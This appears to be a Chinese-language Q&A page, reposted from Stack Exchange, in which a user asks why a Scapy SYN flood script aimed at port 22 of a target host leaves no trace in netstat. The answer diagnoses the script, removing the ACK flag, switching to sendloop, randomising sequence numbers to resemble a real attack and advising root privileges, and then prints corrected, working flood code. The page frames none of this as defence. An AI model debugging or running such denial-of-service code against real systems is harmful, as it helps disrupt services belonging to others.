编写SYN Flood攻击代码后,目标主机netstat -at无攻击痕迹求助
SYN Flood攻击无痕迹问题排查
我编写了一段基于Scapy库的SYN Flood攻击Python代码,构造数据包发送至目标主机192.192.192.192的22端口,但在目标主机执行netstat -at命令后,完全无法发现攻击相关痕迹,请求协助排查问题。
代码如下:
#!/usr/bin/python from scapy.all import * p=IP(dst="192.192.192.192",id=1111,ttl=99)/TCP(sport=RandShort(),dport=22,seq=12345,ack=1000,window=1000,flags="S") ans,unans=srloop(p,inter=0.3,retry=2,timeout=4, count=10) ans.summary() unans.summary()
问题排查与修复方案
数据包构造非法:TCP SYN包是握手第一步,绝对不能包含ACK字段。你设置的
ack=1000会让目标主机判定这是不符合协议规范的异常包,直接丢弃,自然不会在netstat中留下半连接记录,必须移除ack=1000参数。函数选型错误:
srloop是用于发送数据包并等待响应的交互函数,而SYN Flood攻击只需要持续发送SYN包,不需要处理响应。改用sendloop函数,避免不必要的等待和重发逻辑,提升发送效率。序列号固定问题:固定
seq=12345不符合真实TCP包的随机性,虽然不是无痕迹的直接原因,但建议改为seq=RandInt()让每个包的序列号随机化,更贴近真实攻击行为。权限不足:发送原始IP/TCP数据包需要root权限,运行脚本时必须添加
sudo,否则Scapy可能无法正常发送数据包,或者被系统内核拦截。防护系统拦截:检查目标主机是否有防火墙、IDS/IPS设备,这些防护系统会直接丢弃带ACK的异常SYN包,导致
netstat无记录。同时先确认攻击机与目标主机网络连通(比如用ping 192.192.192.192测试)。
修正后的代码示例
#!/usr/bin/python from scapy.all import * # 构造合法SYN包:移除ACK字段,随机化序列号 p = IP(dst="192.192.192.192", id=1111, ttl=99)/TCP(sport=RandShort(), dport=22, seq=RandInt(), window=1000, flags="S") # 使用sendloop发送,无需等待响应 sendloop(p, inter=0.3, count=10)
内容的提问来源于stack exchange,提问作者Mohammed Al Ahmed
相关产品推荐
相关产品推荐

